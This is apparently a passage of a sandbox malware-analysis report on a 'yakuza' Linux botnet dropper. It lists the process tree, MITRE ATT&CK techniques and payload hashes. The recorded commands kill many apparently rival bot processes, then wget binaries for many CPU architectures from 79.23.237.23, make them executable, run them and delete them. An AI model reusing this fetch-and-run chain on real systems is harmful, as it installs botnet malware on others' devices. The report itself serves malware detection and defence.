      pkill -9 5Gbf
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1090
  - - /bin/busybox
      busybox pkill -9 5Gbf
      4⤵
      PID:1091
- - /bin/sh
    sh -c "pkill -9 SoRAxD123LOL || busybox pkill -9 SoRAxD123LOL"
    3⤵
    PID:1092
  - - /usr/bin/pkill
      pkill -9 SoRAxD123LOL
      4⤵
      Reads runtime system information
      PID:1093
  - - /bin/busybox
      busybox pkill -9 SoRAxD123LOL
      4⤵
      PID:1094
- - /bin/sh
    sh -c "pkill -9 iaGv || busybox pkill -9 iaGv"
    3⤵
    PID:1095
  - - /usr/bin/pkill
      pkill -9 iaGv
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1096
  - - /bin/busybox
      busybox pkill -9 iaGv
      4⤵
      PID:1097
- - /bin/sh
    sh -c "pkill -9 5aA3 || busybox pkill -9 5aA3"
    3⤵
    PID:1098
  - - /usr/bin/pkill
      pkill -9 5aA3
      4⤵
      PID:1099
  - - /bin/busybox
      busybox pkill -9 5aA3
      4⤵
      PID:1100
- - /bin/sh
    sh -c "pkill -9 SoRAxD420LOL || busybox pkill -9 SoRAxD420LOL"
    3⤵
    PID:1101
  - - /usr/bin/pkill
      pkill -9 SoRAxD420LOL
      4⤵
      PID:1102
  - - /bin/busybox
      busybox pkill -9 SoRAxD420LOL
      4⤵
      PID:1103
- - /bin/sh
    sh -c "pkill -9 insomni || busybox pkill -9 insomni"
    3⤵
    PID:1104
  - - /usr/bin/pkill
      pkill -9 insomni
      4⤵
      PID:1105
  - - /bin/busybox
      busybox pkill -9 insomni
      4⤵
      PID:1106
- - /bin/sh
    sh -c "pkill -9 640277 || busybox pkill -9 640277"
    3⤵
    PID:1107
  - - /usr/bin/pkill
      pkill -9 640277
      4⤵
      Reads runtime system information
      PID:1108
  - - /bin/busybox
      busybox pkill -9 640277
      4⤵
      PID:1109
- - /bin/sh
    sh -c "pkill -9 SoraBeReppin1337 || busybox pkill -9 SoraBeReppin1337"
    3⤵
    PID:1110
  - - /usr/bin/pkill
      pkill -9 SoraBeReppin1337
      4⤵
      PID:1111
  - - /bin/busybox
      busybox pkill -9 SoraBeReppin1337
      4⤵
      PID:1112
- - /bin/sh
    sh -c "pkill -9 ipcamCache || busybox pkill -9 ipcamCache"
    3⤵
    - System Network Configuration Discovery
    PID:1113
  - - /usr/bin/pkill
      pkill -9 ipcamCache
      4⤵
      System Network Configuration Discovery
      PID:1114
  - - /bin/busybox
      busybox pkill -9 ipcamCache
      4⤵
      System Network Configuration Discovery
      PID:1115
- - /bin/sh
    sh -c "pkill -9 66tlGg9Q || busybox pkill -9 66tlGg9Q"
    3⤵
    PID:1116
  - - /usr/bin/pkill
      pkill -9 66tlGg9Q
      4⤵
      PID:1117
  - - /bin/busybox
      busybox pkill -9 66tlGg9Q
      4⤵
      PID:1118
- - /bin/sh
    sh -c "pkill -9 T || busybox pkill -9 T"
    3⤵
    PID:1119
  - - /usr/bin/pkill
      pkill -9 T
      4⤵
      PID:1120
  - - /bin/busybox
      busybox pkill -9 T
      4⤵
      PID:1121
- - /bin/sh
    sh -c "pkill -9 jUYfouyf87 || busybox pkill -9 jUYfouyf87"
    3⤵
    PID:1122
  - - /usr/bin/pkill
      pkill -9 jUYfouyf87
      4⤵
      Reads CPU attributes
      PID:1123
  - - /bin/busybox
      busybox pkill -9 jUYfouyf87
      4⤵
      PID:1124
- - /bin/sh
    sh -c "pkill -9 6ke3 || busybox pkill -9 6ke3"
    3⤵
    PID:1125
  - - /usr/bin/pkill
      pkill -9 6ke3
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1126
  - - /bin/busybox
      busybox pkill -9 6ke3
      4⤵
      PID:1127
- - /bin/sh
    sh -c "pkill -9 TOKYO3 || busybox pkill -9 TOKYO3"
    3⤵
    PID:1128
  - - /usr/bin/pkill
      pkill -9 TOKYO3
      4⤵
      PID:1129
  - - /bin/busybox
      busybox pkill -9 TOKYO3
      4⤵
      PID:1130
- - /bin/sh
    sh -c "pkill -9 lyEeaXul2dULCVxh || busybox pkill -9 lyEeaXul2dULCVxh"
    3⤵
    PID:1131
  - - /usr/bin/pkill
      pkill -9 lyEeaXul2dULCVxh
      4⤵
      Reads runtime system information
      PID:1132
  - - /bin/busybox
      busybox pkill -9 lyEeaXul2dULCVxh
      4⤵
      PID:1133
- - /bin/sh
    sh -c "pkill -9 93OfjHZ2z || busybox pkill -9 93OfjHZ2z"
    3⤵
    PID:1134
  - - /usr/bin/pkill
      pkill -9 93OfjHZ2z
      4⤵
      PID:1135
  - - /bin/busybox
      busybox pkill -9 93OfjHZ2z
      4⤵
      PID:1136
- - /bin/sh
    sh -c "pkill -9 TY2gD6MZvKc7KU6r || busybox pkill -9 TY2gD6MZvKc7KU6r"
    3⤵
    PID:1137
  - - /usr/bin/pkill
      pkill -9 TY2gD6MZvKc7KU6r
      4⤵
      PID:1138
  - - /bin/busybox
      busybox pkill -9 TY2gD6MZvKc7KU6r
      4⤵
      PID:1139
- - /bin/sh
    sh -c "pkill -9 mMkiy6f87l || busybox pkill -9 mMkiy6f87l"
    3⤵
    PID:1140
  - - /usr/bin/pkill
      pkill -9 mMkiy6f87l
      4⤵
      Reads runtime system information
      PID:1141
  - - /bin/busybox
      busybox pkill -9 mMkiy6f87l
      4⤵
      PID:1142
- - /bin/sh
    sh -c "pkill -9 A023UU4U24UIU || busybox pkill -9 A023UU4U24UIU"
    3⤵
    PID:1143
  - - /usr/bin/pkill
      pkill -9 A023UU4U24UIU
      4⤵
      PID:1144
  - - /bin/busybox
      busybox pkill -9 A023UU4U24UIU
      4⤵
      PID:1145
- - /bin/sh
    sh -c "pkill -9 TheWeeknd || busybox pkill -9 TheWeeknd"
    3⤵
    PID:1146
  - - /usr/bin/pkill
      pkill -9 TheWeeknd
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1147
  - - /bin/busybox
      busybox pkill -9 TheWeeknd
      4⤵
      PID:1148
- - /bin/sh
    sh -c "pkill -9 mioribitches || busybox pkill -9 mioribitches"
    3⤵
    PID:1149
  - - /usr/bin/pkill
      pkill -9 mioribitches
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1150
  - - /bin/busybox
      busybox pkill -9 mioribitches
      4⤵
      PID:1151
- - /bin/sh
    sh -c "pkill -9 A5p9 || busybox pkill -9 A5p9"
    3⤵
    PID:1152
  - - /usr/bin/pkill
      pkill -9 A5p9
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1153
  - - /bin/busybox
      busybox pkill -9 A5p9
      4⤵
      PID:1154
- - /bin/sh
    sh -c "pkill -9 TheWeeknds || busybox pkill -9 TheWeeknds"
    3⤵
    PID:1155
  - - /usr/bin/pkill
      pkill -9 TheWeeknds
      4⤵
      Reads CPU attributes
      PID:1156
  - - /bin/busybox
      busybox pkill -9 TheWeeknds
      4⤵
      PID:1157
- - /bin/sh
    sh -c "pkill -9 mnblkjpoi || busybox pkill -9 mnblkjpoi"
    3⤵
    PID:1158
  - - /usr/bin/pkill
      pkill -9 mnblkjpoi
      4⤵
      Reads runtime system information
      PID:1159
  - - /bin/busybox
      busybox pkill -9 mnblkjpoi
      4⤵
      PID:1160
- - /bin/sh
    sh -c "pkill -9 AbAd || busybox pkill -9 AbAd"
    3⤵
    PID:1161
  - - /usr/bin/pkill
      pkill -9 AbAd
      4⤵
      PID:1162
  - - /bin/busybox
      busybox pkill -9 AbAd
      4⤵
      PID:1163
- - /bin/sh
    sh -c "pkill -9 Tokyos || busybox pkill -9 Tokyos"
    3⤵
    PID:1164
  - - /usr/bin/pkill
      pkill -9 Tokyos
      4⤵
      Reads CPU attributes
      PID:1165
  - - /bin/busybox
      busybox pkill -9 Tokyos
      4⤵
      PID:1166
- - /bin/sh
    sh -c "pkill -9 neb || busybox pkill -9 neb"
    3⤵
    PID:1167
  - - /usr/bin/pkill
      pkill -9 neb
      4⤵
      PID:1168
  - - /bin/busybox
      busybox pkill -9 neb
      4⤵
      PID:1169
- - /bin/sh
    sh -c "pkill -9 Akiru || busybox pkill -9 Akiru"
    3⤵
    PID:1170
  - - /usr/bin/pkill
      pkill -9 Akiru
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1171
  - - /bin/busybox
      busybox pkill -9 Akiru
      4⤵
      PID:1172
- - /bin/sh
    sh -c "pkill -9 U8inTz || busybox pkill -9 U8inTz"
    3⤵
    PID:1173
  - - /usr/bin/pkill
      pkill -9 U8inTz
      4⤵
      PID:1174
  - - /bin/busybox
      busybox pkill -9 U8inTz
      4⤵
      PID:1175
- - /bin/sh
    sh -c "pkill -9 netstats || busybox pkill -9 netstats"
    3⤵
    PID:1176
  - - /usr/bin/pkill
      pkill -9 netstats
      4⤵
      PID:1177
  - - /bin/busybox
      busybox pkill -9 netstats
      4⤵
      PID:1178
- - /bin/sh
    sh -c "pkill -9 Alex || busybox pkill -9 Alex"
    3⤵
    PID:1179
  - - /usr/bin/pkill
      pkill -9 Alex
      4⤵
      Reads runtime system information
      PID:1180
  - - /bin/busybox
      busybox pkill -9 Alex
      4⤵
      PID:1181
- - /bin/sh
    sh -c "pkill -9 W9RCAKM20T || busybox pkill -9 W9RCAKM20T"
    3⤵
    PID:1182
  - - /usr/bin/pkill
      pkill -9 W9RCAKM20T
      4⤵
      Reads CPU attributes
      PID:1183
  - - /bin/busybox
      busybox pkill -9 W9RCAKM20T
      4⤵
      PID:1184
- - /bin/sh
    sh -c "pkill -9 newnetword || busybox pkill -9 newnetword"
    3⤵
    PID:1185
  - - /usr/bin/pkill
      pkill -9 newnetword
      4⤵
      Reads CPU attributes
      PID:1186
  - - /bin/busybox
      busybox pkill -9 newnetword
      4⤵
      PID:1187
- - /bin/sh
    sh -c "pkill -9 Ayo215 || busybox pkill -9 Ayo215"
    3⤵
    PID:1188
  - - /usr/bin/pkill
      pkill -9 Ayo215
      4⤵
      Reads CPU attributes
      PID:1189
  - - /bin/busybox
      busybox pkill -9 Ayo215
      4⤵
      PID:1190
- - /bin/sh
    sh -c "pkill -9 Word || busybox pkill -9 Word"
    3⤵
    PID:1191
  - - /usr/bin/pkill
      pkill -9 Word
      4⤵
      Reads runtime system information
      PID:1192
  - - /bin/busybox
      busybox pkill -9 Word
      4⤵
      PID:1193
- - /bin/sh
    sh -c "pkill -9 nloads || busybox pkill -9 nloads"
    3⤵
    PID:1194
  - - /usr/bin/pkill
      pkill -9 nloads
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1195
  - - /bin/busybox
      busybox pkill -9 nloads
      4⤵
      PID:1196
- - /bin/sh
    sh -c "pkill -9 BAdAsV || busybox pkill -9 BAdAsV"
    3⤵
    PID:1197
  - - /usr/bin/pkill
      pkill -9 BAdAsV
      4⤵
      Reads runtime system information
      PID:1198
  - - /bin/busybox
      busybox pkill -9 BAdAsV
      4⤵
      PID:1199
- - /bin/sh
    sh -c "pkill -9 Wordmane || busybox pkill -9 Wordmane"
    3⤵
    PID:1200
  - - /usr/bin/pkill
      pkill -9 Wordmane
      4⤵
      PID:1201
  - - /bin/busybox
      busybox pkill -9 Wordmane
      4⤵
      PID:1202
- - /bin/sh
    sh -c "pkill -9 notyakuzaa || busybox pkill -9 notyakuzaa"
    3⤵
    PID:1203
  - - /usr/bin/pkill
      pkill -9 notyakuzaa
      4⤵
      Reads CPU attributes
      PID:1204
  - - /bin/busybox
      busybox pkill -9 notyakuzaa
      4⤵
      PID:1205
- - /bin/sh
    sh -c "pkill -9 Belch || busybox pkill -9 Belch"
    3⤵
    PID:1206
  - - /usr/bin/pkill
      pkill -9 Belch
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1207
  - - /bin/busybox
      busybox pkill -9 Belch
      4⤵
      PID:1208
- - /bin/sh
    sh -c "pkill -9 Wordnets || busybox pkill -9 Wordnets"
    3⤵
    PID:1209
  - - /usr/bin/pkill
      pkill -9 Wordnets
      4⤵
      Reads runtime system information
      PID:1210
  - - /bin/busybox
      busybox pkill -9 Wordnets
      4⤵
      PID:1211
- - /bin/sh
    sh -c "pkill -9 obp || busybox pkill -9 obp"
    3⤵
    PID:1212
  - - /usr/bin/pkill
      pkill -9 obp
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1213
  - - /bin/busybox
      busybox pkill -9 obp
      4⤵
      PID:1214
- - /bin/sh
    sh -c "pkill -9 BigN0gg0r420 || busybox pkill -9 BigN0gg0r420"
    3⤵
    PID:1215
  - - /usr/bin/pkill
      pkill -9 BigN0gg0r420
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1216
  - - /bin/busybox
      busybox pkill -9 BigN0gg0r420
      4⤵
      PID:1217
- - /bin/sh
    sh -c "pkill -9 X0102I34f || busybox pkill -9 X0102I34f"
    3⤵
    PID:1218
  - - /usr/bin/pkill
      pkill -9 X0102I34f
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1219
  - - /bin/busybox
      busybox pkill -9 X0102I34f
      4⤵
      PID:1220
- - /bin/sh
    sh -c "pkill -9 ofhasfhiafhoi || busybox pkill -9 ofhasfhiafhoi"
    3⤵
    PID:1221
  - - /usr/bin/pkill
      pkill -9 ofhasfhiafhoi
      4⤵
      Reads runtime system information
      PID:1222
  - - /bin/busybox
      busybox pkill -9 ofhasfhiafhoi
      4⤵
      PID:1223
- - /bin/sh
    sh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"
    3⤵
    PID:1224
  - - /usr/bin/pkill
      pkill -9 BzSxLxBxeY
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1225
  - - /bin/busybox
      busybox pkill -9 BzSxLxBxeY
      4⤵
      PID:1226
- - /bin/sh
    sh -c "pkill -9 X19I239124UIU || busybox pkill -9 X19I239124UIU"
    3⤵
    PID:1227
  - - /usr/bin/pkill
      pkill -9 X19I239124UIU
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1228
  - - /bin/busybox
      busybox pkill -9 X19I239124UIU
      4⤵
      PID:1229
- - /bin/sh
    sh -c "pkill -9 oism || busybox pkill -9 oism"
    3⤵
    PID:1230
  - - /usr/bin/pkill
      pkill -9 oism
      4⤵
      Reads runtime system information
      PID:1231
  - - /bin/busybox
      busybox pkill -9 oism
      4⤵
      PID:1232
- - /bin/sh
    sh -c "pkill -9 Deported || busybox pkill -9 Deported"
    3⤵
    PID:1233
  - - /usr/bin/pkill
      pkill -9 Deported
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1234
  - - /bin/busybox
      busybox pkill -9 Deported
      4⤵
      PID:1235
- - /bin/sh
    sh -c "pkill -9 XSHJEHHEIIHWO || busybox pkill -9 XSHJEHHEIIHWO"
    3⤵
    PID:1236
  - - /usr/bin/pkill
      pkill -9 XSHJEHHEIIHWO
      4⤵
      Reads CPU attributes
      PID:1237
  - - /bin/busybox
      busybox pkill -9 XSHJEHHEIIHWO
      4⤵
      PID:1238
- /bin/rm
  rm -rf yakuza.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:754
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.sh
  2⤵
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod +x yakuza.sh
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/yakuza.sh
  ./yakuza.sh
  2⤵
  PID:766
- /bin/rm
  rm -rf yakuza.sh
  2⤵
  PID:768
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.x86
  2⤵
  - Writes file to tmp directory
  PID:769
- /bin/chmod
  chmod +x yakuza.x86
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/yakuza.x86
  ./yakuza.x86
  2⤵
  PID:774
- /bin/rm
  rm -rf yakuza.x86
  2⤵
  PID:776
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.arm6
  2⤵
  - Writes file to tmp directory
  PID:777
- /bin/chmod
  chmod +x yakuza.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/yakuza.arm6
  ./yakuza.arm6
  2⤵
  PID:782
- /bin/rm
  rm -rf yakuza.arm6
  2⤵
  PID:784
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.i686
  2⤵
  - Writes file to tmp directory
  PID:786
- /bin/chmod
  chmod +x yakuza.i686
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/yakuza.i686
  ./yakuza.i686
  2⤵
  PID:792
- /bin/rm
  rm -rf yakuza.i686
  2⤵
  PID:794
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.ppc
  2⤵
  - Writes file to tmp directory
  PID:796
- /bin/chmod
  chmod +x yakuza.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/yakuza.ppc
  ./yakuza.ppc
  2⤵
  PID:801
- /bin/rm
  rm -rf yakuza.ppc
  2⤵
  PID:803
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.i586
  2⤵
  - Writes file to tmp directory
  PID:804
- /bin/chmod
  chmod +x yakuza.i586
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/yakuza.i586
  ./yakuza.i586
  2⤵
  PID:809
- /bin/rm
  rm -rf yakuza.i586
  2⤵
  PID:811
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.m68k
  2⤵
  - Writes file to tmp directory
  PID:812
- /bin/chmod
  chmod +x yakuza.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/yakuza.m68k
  ./yakuza.m68k
  2⤵
  PID:819
- /bin/rm
  rm -rf yakuza.m68k
  2⤵
  PID:823
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.arm4
  2⤵
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod +x yakuza.arm4
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/yakuza.arm4
  ./yakuza.arm4
  2⤵
  PID:836
- /bin/rm
  rm -rf yakuza.arm4
  2⤵
  PID:840
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.arm5
  2⤵
  - Writes file to tmp directory
  PID:841
- /bin/chmod
  chmod +x yakuza.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/yakuza.arm5
  ./yakuza.arm5
  2⤵
  PID:851
- /bin/rm
  rm -rf yakuza.arm5
  2⤵
  PID:856
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.arm7
  2⤵
  - Writes file to tmp directory
  PID:858
- /bin/chmod
  chmod +x yakuza.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/yakuza.arm7
  ./yakuza.arm7
  2⤵
  PID:869
- /bin/rm
  rm -rf yakuza.arm7
  2⤵
  PID:871
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.sparc
  2⤵
  - Writes file to tmp directory
  PID:873
- /bin/chmod
  chmod +x yakuza.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/yakuza.sparc
  ./yakuza.sparc
  2⤵
  PID:886
- /bin/rm
  rm -rf yakuza.sparc
  2⤵
  PID:890

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/yakuza.mips

Filesize
183KB

MD5
fe20c84814e3b28ab3b4d72949f09c9a

SHA1
0bf1e245ca54ea279f349a6110ea3cf2a90bafc8

SHA256
cf50bcd9a2ed02b09dc85b05f13526a850da52e616d16d93224282c464c21468

SHA512
9a6d894da0f1c50f7ca27f2452d4dc9f531427a417ebb5a2eaa76bb020279fc8171f2926daf25c25817766ea7bf4b85dec2bec1e28a340cd2548c21ec07b8203

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads